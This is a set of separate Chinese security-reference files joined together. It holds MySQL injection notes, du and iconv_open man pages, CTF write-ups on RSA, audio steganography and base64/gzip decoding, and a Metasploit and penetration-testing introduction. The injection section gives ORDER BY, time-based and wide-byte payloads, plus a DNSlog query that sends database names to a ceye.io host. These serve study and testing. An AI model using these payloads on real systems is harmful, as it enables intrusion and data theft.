使用 `CONCAT()` 时,任何个参数为 null,将返回 null,推荐使用 `CONCAT_WS()`。`CONCAT_WS()`函数第一个参数表示用哪个字符间隔所查询的结果。
### 条件语句
`CASE`, `IF()`, `IFNULL()`, `NULLIF()`.
```sql
SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;
```
### 延时函数
`SLEEP()`, `BENCHMARK()`.
```sql
' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
```
### order by 后的注入
`order by` 由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。一般带有 `order` 或者 `order by` 的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:
原始链接:`http://www.test.com/list.php?order=vote`
根据 `vote` 字段排序。找到投票数最大的票数 `num` 然后构造以下链接:
```
http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc
```
看排序是否变化。还有一种方法不需要知道任何字段信息,使用 `rand` 函数:
```
http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)
```
以上两个会返回不同的排序,判断表名中第一个字符是否小于 128 的语句如下:
```
http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
```
### 宽字节注入
国内最常使用的 GBK 编码,这种方式主要是绕过 `addslashes` 等对特殊字符进行转移的绕过。反斜杠 `\` 的十六进制为 `%5c`,在你输入 `%bf%27` 时,函数遇到单引号自动转移加入 `\`,此时变为 `%bf%5c%27`,`%bf%5c`
在 GBK 中变为一个宽字符「縗」。`%bf` 那个位置可以是 `%81-%fe` 中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。
### DNSLOG注入
**DNS在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。**
dnslog平台:[http://ceye.io/](http://ceye.io/)
```
mysql> use security;
Database changed
mysql> select load_file('\\\\test.xxx.ceye.io\\abc');
+-------------------------------------------+
| load_file('\\\\test.xxx.ceye.io\\abc') |
+-------------------------------------------+
| NULL |
+-------------------------------------------+
1 row in set (22.05 sec)
mysql> select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));
+----------------------------------------------------------------------+
| load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc')) |
+----------------------------------------------------------------------+
| NULL |
+----------------------------------------------------------------------+
1 row in set (0.00 sec)
```
## 参考资料
- [SQL 注入速查表](http://drops.xmd5.com/static/drops/tips-7840.html)
- [MySQL 注入技巧](http://drops.xmd5.com/static/drops/tips-7299.html)
- [MySQL 注入科普](http://drops.xmd5.com/static/drops/tips-123.html)
- [MySQL 注入总结](http://www.91ri.org/4073.html)
- [《SQL 注入攻击与防御》](http://product.dangdang.com/23364650.html)
|
sec-knowleage
|
du
===
显示每个文件和目录的磁盘使用空间
## 补充说明
**du命令** 也是查看使用空间的,但是与df命令不同的是Linux du命令是对文件和目录磁盘使用的空间的查看,还是和df命令有一些区别的。
### 语法
```shell
du [选项][文件]
```
### 选项
```shell
-a, --all 显示目录中个别文件的大小。
-B, --block-size=大小 使用指定字节数的块
-b, --bytes 显示目录或文件大小时,以byte为单位。
-c, --total 除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和。
-D, --dereference-args 显示指定符号链接的源文件大小。
-H, --si 与-h参数相同,但是K,M,G是以1000为换算单位。
-h, --human-readable 以K,M,G为单位,提高信息的可读性。
-k, --kilobytes 以KB(1024bytes)为单位输出。
-l, --count-links 重复计算硬件链接的文件。
-m, --megabytes 以MB为单位输出。
-L<符号链接>, --dereference<符号链接> 显示选项中所指定符号链接的源文件大小。
-P, --no-dereference 不跟随任何符号链接(默认)
-0, --null 将每个空行视作0 字节而非换行符
-S, --separate-dirs 显示个别目录的大小时,并不含其子目录的大小。
-s, --summarize 仅显示总计,只列出最后加总的值。
-x, --one-file-xystem 以一开始处理时的文件系统为准,若遇上其它不同的文件系统目录则略过。
-X<文件>, --exclude-from=<文件> 在<文件>指定目录或文件。
--apparent-size 显示表面用量,而并非是磁盘用量;虽然表面用量通常会小一些,但有时它会因为稀疏文件间的"洞"、内部碎片、非直接引用的块等原因而变大。
--files0-from=F 计算文件F中以NUL结尾的文件名对应占用的磁盘空间如果F的值是"-",则从标准输入读入文件名
--exclude=<目录或文件> 略过指定的目录或文件。
--max-depth=N 显示目录总计(与--all 一起使用计算文件)当N为指定数值时计算深度为N,等于0时等同--summarize
--si 类似-h,但在计算时使用1000 为基底而非1024
--time 显示目录或该目录子目录下所有文件的最后修改时间
--time=WORD 显示WORD时间,而非修改时间:atime,access,use,ctime 或status
--time-style=样式 按照指定样式显示时间(样式解释规则同"date"命令):full-iso,long-iso,iso,+FORMAT
--help 显示此帮助信息并退出
--version 显示版本信息并退出
```
### 实例
文件从大到小排序
```
ubuntu@VM-0-14-ubuntu:~/git-work/linux-command$ du -sh * |sort -rh
2.9M command
1.9M assets
148K template
72K package-lock.json
52K dist
28K build
16K README.md
4.0K renovate.json
4.0K package.json
4.0K LICENSE
```
只显示当前目录下子目录的大小。
```shell
ubuntu@VM-0-14-ubuntu:~/git-work/linux-command$ du -sh ./*/
1.9M ./assets/
28K ./build/
2.9M ./command/
52K ./dist/
148K ./template/
```
查看指定目录下文件所占的空间:
```shell
ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du ./*
144 ./alfred.png
452 ./chrome-extensions.gif
4 ./dash-icon.png
1312 ./Linux.gif
16 ./qr.png
```
只显示总和的大小:
```shell
ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du -s .
1932 .
```
显示总和的大小且易读:
```shell
ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du -sh .
1.9M .
```
|
sec-knowleage
|
# Revolutional Secure Angou (crypto, 154p, 82 solved)
In the challenge we get [encrypted flag](flag.encrypted), [public key](publickey.pem) and [challenge source code](generator.rb):
```ruby
require 'openssl'
e = 65537
while true
p = OpenSSL::BN.generate_prime(1024, false)
q = OpenSSL::BN.new(e).mod_inverse(p)
next unless q.prime?
key = OpenSSL::PKey::RSA.new
key.set_key(p.to_i * q.to_i, e, nil)
File.write('publickey.pem', key.to_pem)
File.binwrite('flag.encrypted', key.public_encrypt(File.binread('flag')))
break
end
```
The flag is encrypted with classic RSA here and the only strange part is the way primes `p` and `q` are generated.
We know that:
`q = modinv(e, p)`
Which we can rephrase to:
`q*e = 1 mod p`
This means that there exist such `k` for which:
`q*e = 1 + k*p`
If we now multiply this by `p` we get
`q*p*e = p + k*p^2`
And since `q*p = n` we get:
`n*e = p + k*p^2`
We could divide this by `k` and calculate a square root to get:
`sqrt(n*e/k) = sqrt(p/k + p^2)`
And if we extract `p^2` as a factor on the right side we get:
`sqrt(n*e/k) = sqrt(p^2(1/p*k + 1))`
It's obvious that `1/p*k` will be close to `0` and this `(1/p*k + 1)` is going to be very close to `1` and thus:
`sqrt(n*e/k) = p * sqrt(1/p*k + 1) = p`
This means we can calculate `p` directly if we only know `k`.
We can verify this with a simple sanity check:
```python
def sanity():
p = gmpy2.next_prime(2 ** 256)
while True:
p = gmpy2.next_prime(p)
e = 65537
q = modinv(e, p)
if gmpy2.is_prime(q):
break
n = p * q
print(p)
print(q)
print(n)
k = (q * e - 1) / p
p_result = gmpy2.isqrt(n * e / k)
print(k, 'p', p_result)
assert p == p_result
```
We don't know the exact value of `k`, but we know that `q` is smaller than `p` (since it's calculated `mod p`), and therefore since `q*e = 1+k*p` then `k < e`.
This means we can easily brute-force `k` value because there are only 65537 values to check.
```python
import codecs
import gmpy2
from Crypto.PublicKey import RSA
from crypto_commons.rsa.rsa_commons import modinv, rsa_printable
def main():
with codecs.open("flag.encrypted", 'rb') as flag_file:
ct = flag_file.read()
with codecs.open("publickey.pem", 'r') as key_file:
key = RSA.importKey(key_file.read())
print(key.e, key.n)
print(key.n * key.e)
for k in range(1, 65537):
p = gmpy2.isqrt(key.n * key.e / k)
if gmpy2.is_prime(p):
q = key.n / p
fi = (p - 1) * (q - 1)
d = modinv(key.e, fi)
pt = rsa_printable(ct, d, key.n)
if "TWCTF" in pt:
print(k, pt)
break
```
And after a moment we get: `TWCTF{9c10a83c122a9adfe6586f498655016d3267f195}` for `k = 54080`
|
sec-knowleage
|
> The world’s most used penetration testing framework.
>
> Metasploit
从本季开始将会连载 Metasploit 教学,非常荣幸,本部门在我的“怂恿”下,基本以Metasploit 为常用框架做渗透。为了更好的把这个“坏习惯”延续下去,遂打算写一套完整的系列教程。以供同学们在使用中,或者新来的同学形成递归学习或者查询相关资料。在写的同时,查阅了大量的资料以及借鉴了许多思路。感谢为此贡献的老师们。
Metasploit 项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。
Github开源地址:https://github.com/rapid7/metasploit-framework
msf(未来Metasploit的简称)基本遵循PTES渗透测试标准。它将渗透分解如下:
1. 创建项目
2. 发现设备
3. 获取对主机的访问权限
4. 控制会话
5. 从目标主机收集证据
6. 会话清除
7. 生成报告(需pro版本)
### 而PTEST渗透测试标准如下:
1:前期交互阶段
在前期交互(Pre-Engagement Interaction)阶段,渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节。
该阶段通常涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目管理与规划等活动。
2:情报收集阶段
在目标范围确定之后,将进入情报搜集(Information Gathering)阶段,渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置
与安全防御措施的信息。
渗透测试者可以使用的情报搜集方法包括公开来源信息查询、Google Hacking、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。而对目标系统的情报探查能力是渗透测试者一项非常重要的技能,情报搜集是否充分在很大程度上决定了渗透测试的成败,因为如果你遗漏关键的情报信息,你将可能在后面的阶段里一无所获。
3:威胁建模阶段
在搜集到充分的情报信息之后,渗透测试团队的成员们停下敲击键盘,大家聚到一起针对获取的信息进行威胁建模(Threat Modeling)与攻击规划。这是渗透测试过程中非常重要,但很容易被忽视的一个关键点。
通过团队共同的缜密情报分析与攻击思路头脑风暴,可以从大量的信息情报中理清头绪,确定出最可行的攻击通道。
4:漏洞分析阶段
在确定出最可行的攻击通道之后,接下来需要考虑该如何取得目标系统的访问控制权,即漏洞分析(Vulnerability Analysis)阶段。
在该阶段,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源,找出可以实施渗透攻击的攻击点,并在实验环境中进行验证。在该阶段,高水平的渗透测试团队还会针对攻击通道上的一些关键系统与服务进行安全漏洞探测与挖掘,期望找出可被利用的未知安全漏洞,并开发出渗透代码,从而打开攻击通道上的关键路径。
5:渗透攻击阶段
渗透攻击(Exploitation)是渗透测试过程中最具有魅力的环节。在此环节中,渗透测试团队需要利用他们所找出的目标系统安全漏洞,来真正入侵系统当中,获得访问控制权。
渗透攻击可以利用公开渠道可获取的渗透代码,但一般在实际应用场景中,渗透测试者还需要充分地考虑目标系统特性来定制渗透攻击,并需要挫败目标网络与系统中实施的安全防御措施,才能成功达成渗透目的。在黑盒测试中,渗透测试者还需要考虑对目标系统检测机制的逃逸,从而避免造成目标组织安全响应团队的警觉和发现
6:后渗透攻击阶段
后渗透攻击(Post Exploitation)是整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。
在不同的渗透测试场景中,这些攻击目标与途径可能是千变万化的,而设置是否准确并且可行,也取决于团队自身的创新意识、知识范畴、实际经验和技术能力。
7:报告阶段
渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一份渗透测试报告(Reporting)。这份报告凝聚了之前所有阶段之中渗透测试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。
本系列教程以msf 4.15.45为基础,后期可能会以msf5为基础。

msf核心代码为Ruby开发。这里需要解释,为什么作者以Ruby为核心语言开发?而不是python,perl等大众语言开发?
### 这里转载原作者的话:
以下是在2005年左右写的。
在框架的开发过程中,Metasploit开发人员不断被问到的一个反复出现的问题是为什么选择Ruby作为编程语言。为避免单独回答此问题,作者选择在本文档中解释其原因。
由于很多原因,选择了Ruby编程语言而不是其他选择,例如python,perl和C++。选择Ruby的第一个(也是主要的)原因是因为它是Metasploit员工喜欢写的一种语言。在花时间分析其他语言并考虑过去的经验后,发现Ruby编程语言既简单又强大解释语言的方法。Ruby提供的内省程度和面向对象的方面非常适合框架的一些要求。框架对代码重用的自动化类构造的需求是决策制定过程中的关键因素,而且它是perl不太适合提供的东西之一。除此之外,选择Ruby的第二个原因是因为它支持平台独立于线程。虽然在该模型下开发框架期间遇到了许多限制,但Metasploit工作人员观察到了2.x分支的显着性能和可用性改进。未来版本的Ruby(1.9系列)将使用本机线程支持现有的线程API,操作系统将编译解释器,这将解决当前实现的许多现有问题(例如允许使用阻塞操作)。与此同时,与传统的分叉模型相比,现有的线程模型被发现要优越得多,特别是在缺少像Windows这样的原生分支实现的平台上。
选择Ruby的另一个原因是因为Windows平台支持存在本机解释器。虽然perl有cygwin版本和ActiveState版本,但两者都受到可用性问题的困扰。可以在Windows上本地编译和执行Ruby解释器的事实大大提高了性能。此外,解释器也非常小,并且可以在出现错误时轻松修改。
Python编程语言也是候选语言。Metasploit员工选择Ruby而不是python的原因有几个原因。主要原因是对python强制的一些语法烦恼的普遍厌恶,例如block-indention。虽然许多人认为这种方法的好处,但Metasploit工作人员的一些成员认为这是一个不必要的限制。Python的其他问题围绕父类方法调用的限制和解释器的向后兼容性。
C / C++编程语言也得到了非常认真的考虑,但最终很明显,尝试以非解释性语言部署可移植和可用的框架是不可行的。
此外,这种语言选择的开发时间线很可能会更长。尽管框架的2.x分支已经相当成功,但Metasploit开发人员遇到了许多限制和烦恼与perl的面向对象编程模型或缺乏。事实上perl解释器是许多发行版上默认安装的一部分,这并不是Metasploit员工认为值得绕开语言选择的东西。
最后,所有这些都归结为选择一种对框架贡献最大的人所享有的语言,而这种语言最终成为Ruby。
> Micropoor
|
sec-knowleage
|
.\" Copyright (c) Bruno Haible <haible@clisp.cons.org>
.\"
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; either version 2 of
.\" the License, or (at your option) any later version.
.\"
.\" References consulted:
.\" GNU glibc-2 source code and manual
.\" OpenGroup's Single Unix specification http://www.UNIX-systems.org/online.html
.\"
.TH ICONV_OPEN 3 "May 6, 2001" "GNU" "Linux Programmer's Manual"
.SH NAME
iconv_open \- 分配一个字符集转换的描述符
.SH "总览 (SYNOPSIS)"
.nf
.B #include <iconv.h>
.sp
.BI "iconv_t iconv_open (const char* " tocode ", const char* " fromcode );
.fi
.SH "描述 (DESCRIPTION)"
\fBiconv_open\fP 函数 分配 一个 用于 把 \fIfromcode\fP 编码的 字符串
转换成 \fItocode\fP 编码 的 转换 描述符.
.PP
\fIfromcode\fP 和 \fItocode\fP 所允许的值 以及 支持的 组合方式 都是 与
系统 相关的. 对于 这个 libiconv 库, 它 支持 下面 的 编码, 也 支持 其
所有 的 组合.
.TP
欧洲语言
ASCII, ISO-8859-{1,2,3,4,5,7,9,10,13,14,15,16},
KOI8-R, KOI8-U, KOI8-RU,
CP{1250,1251,1252,1253,1254,1257}, CP{850,866},
Mac{Roman,CentralEurope,Iceland,Croatian,Romania},
Mac{Cyrillic,Ukraine,Greek,Turkish},
Macintosh
.TP
闪米特语言
ISO-8859-{6,8}, CP{1255,1256}, CP862, Mac{Hebrew,Arabic}
.TP
日文
EUC-JP, SHIFT-JIS, CP932, ISO-2022-JP, ISO-2022-JP-2, ISO-2022-JP-1
.TP
中文
EUC-CN, HZ, GBK, GB18030, EUC-TW, BIG5, CP950, BIG5-HKSCS,
ISO-2022-CN, ISO-2022-CN-EXT
.TP
韩文
EUC-KR, CP949, ISO-2022-KR, JOHAB
.TP
Armenian
ARMSCII-8
.TP
Georgian
Georgian-Academy, Georgian-PS
.TP
泰语
TIS-620, CP874, MacThai
.TP
捞挝语
MuleLao-1, CP1133
.TP
越南语
VISCII, TCVN, CP1258
.TP
特定平台
HP-ROMAN8, NEXTSTEP
.TP
Full Unicode
.nf
UTF-8
UCS-2, UCS-2BE, UCS-2LE
UCS-4, UCS-4BE, UCS-4LE
UTF-16, UTF-16BE, UTF-16LE
UTF-32, UTF-32BE, UTF-32LE
UTF-7
JAVA
.fi
.TP
用 \fBuint16_t\fP 或 \fBuint32_t\fP 表示的 Unicode
(其 字节顺序 和 对齐方式 与 具体 机器 有关)
UCS-2-INTERNAL, UCS-4-INTERNAL
.TP
用 \fBchar\fP 或 \fBwchar_t\fP 表示的 与 区域设置 相关的 编码
(其 字节顺序 和 对齐方式 与 具体 机器 有关, 其 语意 与
操作系统 和 当前 区域设置 中的 LC_CTYPE 有关)
char, wchar_t
.PP
在 \fItocode\fP 后面 加上 "//TRANSLIT" 表示, 当 在目标 字符集
中 不能 表示 一个 字符 时, 就用 同其 相似 的 一个 字符 来 代替.
.PP
其 返回的 转换 描述符 可以 被 \fBiconv\fP 多次 使用. 只要 没有 用
\fBiconv_close\fP 将其 释放, 它 就是 有效的.
.PP
转换 描述符 包含了 转换的 状态. 在用 \fBiconv_open\fP 建立 一个 描述符
时 状态为 初始态. \fBiconv\fP 会 改变 它的 状态. (这说明 一个 描述符
不能在 多线程中 同时 使用.) 可以 把 NULL 作为 \fIinbuf\fP 传给
\fBiconv\fP 来 使其 回到 初始态.
.SH "返回值 (RETURN VALUE)"
\fBiconv_open\fP 函数 返回 一个 新的 转换 描述符. 如果 发生 错误 则
设置 \fBerrno\fP 变量 同时 返回 (iconv_t)(-1).
.SH "错误 (ERRORS)"
除了 一般的 错误, 还可能 有 下面的 错误:
.TP
.B EINVAL
此系统 不支持 从 \fIfromcode\fP 到 \fItocode\fP 的 转换.
.SH "遵循 (CONFORMING TO)"
UNIX98
.SH "参见 (SEE ALSO)"
.BR iconv "(3), " iconv_close (3)
.SH "[中文版维护人]"
.B 唐友 \<tony_ty@263.net\>
.SH "[中文版最新更新]"
.BR 2002/3/21
.SH "[中国Linux论坛man手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 基于数据的隐蔽通讯检测
## 0. 研究综述
网络隐蔽信道关键技术研究综述, 李彦峰, 丁丽萍, 吴敬征, 崔强, 刘雪花, 关贝, 王永吉, http://www.jos.org.cn/html/2019/8/5859.htm
### 隐蔽通讯的定义
### 隐蔽通讯的分类
### 隐蔽通讯的构建
### 隐蔽通讯的对抗
## 1. 基于DNS的隐蔽信道检测
### 基于DNS的隐蔽信道构建过程
// TODO
### 对抗思路
这边的对抗思路主要是指在专家经验的情况下,对这种基于DNS的隐蔽信道如何做检测。这边的对抗思路有助于我们转换为基于数据的检测思路。提供安全能力支持和方向指导、启发作用。
// TODO
### 检测思路
//TODO
|
sec-knowleage
|
# 音频隐写
与音频相关的 CTF 题目主要使用了隐写的策略,主要分为 MP3 隐写,LSB 隐写,波形隐写,频谱隐写等等。
## 常见手段
通过 `binwalk` 以及 `strings` 可以发现的信息不再详述。
## MP3 隐写
### 原理
MP3隐写主要是使用 [Mp3Stego](http://www.petitcolas.net/steganography/mp3stego/) 工具进行隐写,其基本介绍及使用方法如下
> MP3Stego will hide information in MP3 files during the compression process. The data is first compressed, encrypted and then hidden in the MP3 bit stream.
```shell
encode -E hidden_text.txt -P pass svega.wav svega_stego.mp3
decode -X -P pass svega_stego.mp3
```
### 例题
> ISCC-2016: Music Never Sleep
初步观察后,由 `strings` 无发现,听音频无异常猜测使用隐写软件隐藏数据。
得到密码后使用 `Mp3Stego` 解密。
```shell
decode.exe -X ISCC2016.mp3 -P bfsiscc2016
```
得到文件 `iscc2016.mp3.txt`:
```
Flag is SkYzWEk0M1JOWlNHWTJTRktKUkdJTVpXRzVSV0U2REdHTVpHT1pZPQ== ???
```
Base64 && Base32 后得到 flag。
## 波形
### 原理
通常来说,波形方向的题,在观察到异常后,使用相关软件(Audacity, Adobe Audition 等)观察波形规律,将波形进一步转化为 01 字符串等,从而提取转化出最终的 flag。
### 例题
> ISCC-2017: Misc-04
其实这题隐藏的信息在最开始的一段音频内,不细心听可能会误认为是隐写软件。
以高为 1 低为 0,转换得到 `01` 字符串。
```
110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101
```
转为 ASCII,摩斯密码解密,得到 flag。
!!! note
一些较复杂的可能会先对音频进行一系列的处理,如滤波等。例如 [JarvisOJ - 上帝之音 Writeup](https://www.40huo.cn/blog/jarvisoj-misc-writeup.html)
## 频谱
### 原理
音频中的频谱隐写是将字符串隐藏在频谱中,此类音频通常会有一个较明显的特征,听起来是一段杂音或者比较刺耳。
### 例题
> Su-ctf-quals-2014:hear_with_your_eyes
## LSB音频隐写
### 原理
类似于图片隐写中的 LSB 隐写,音频中也有对应的 LSB 隐写。主要可以使用 [Silenteye](http://silenteye.v1kings.io/) 工具,其介绍如下:
> SilentEye is a cross-platform application design for an easy use of steganography, in this case hiding messages into pictures or sounds. It provides a pretty nice interface and an easy integration of new steganography algorithm and cryptography process by using a plug-ins system.
### 例题
> 2015 广东省强网杯 - Little Apple
直接使用 `silenteye` 即可。
## 延伸
- [音频中的 LSB](https://ethackal.github.io/2015/10/05/derbycon-ctf-wav-steganography/)
- [隐写术总结](http://bobao.360.cn/learning/detail/243.html)
|
sec-knowleage
|
# ∑BIT
Category: Misc., 100 points
## Description
> We hid an email in this challenge, find it to get the flag (and feel free to send your CV to this email 😉).
>
> Note: the flag is cstechnion{sha1(<email>)}
A binary file was attached.
## Solution
Let's check the attached file:
```console
┌──(user@kali)-[/media/sf_CTFs/technion/BIT]
└─$ file ./sigma_ctf
./sigma_ctf: ASCII text, with very long lines
┌──(user@kali)-[/media/sf_CTFs/technion/BIT]
└─$ head ./sigma_ctf
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
```
Looks like base64, let's decode:
```console
┌──(user@kali)-[/media/sf_CTFs/technion/BIT]
└─$ base64 -d sigma_ctf > phase1
┌──(user@kali)-[/media/sf_CTFs/technion/BIT]
└─$ file phase1
phase1: gzip compressed data, last modified: Sun Mar 31 15:30:16 2019, from Unix, original size modulo 2^32 7680
```
Now it's GZip, let's extract:
```console
┌──(user@kali)-[/media/sf_CTFs/technion/BIT]
└─$ mv phase1 phase1.gz
┌──(user@kali)-[/media/sf_CTFs/technion/BIT]
└─$ gunzip -v phase1.gz
phase1.gz: 65.7% -- replaced with phase1
┌──(user@kali)-[/media/sf_CTFs/technion/BIT]
└─$ file phase1
phase1: POSIX tar archive
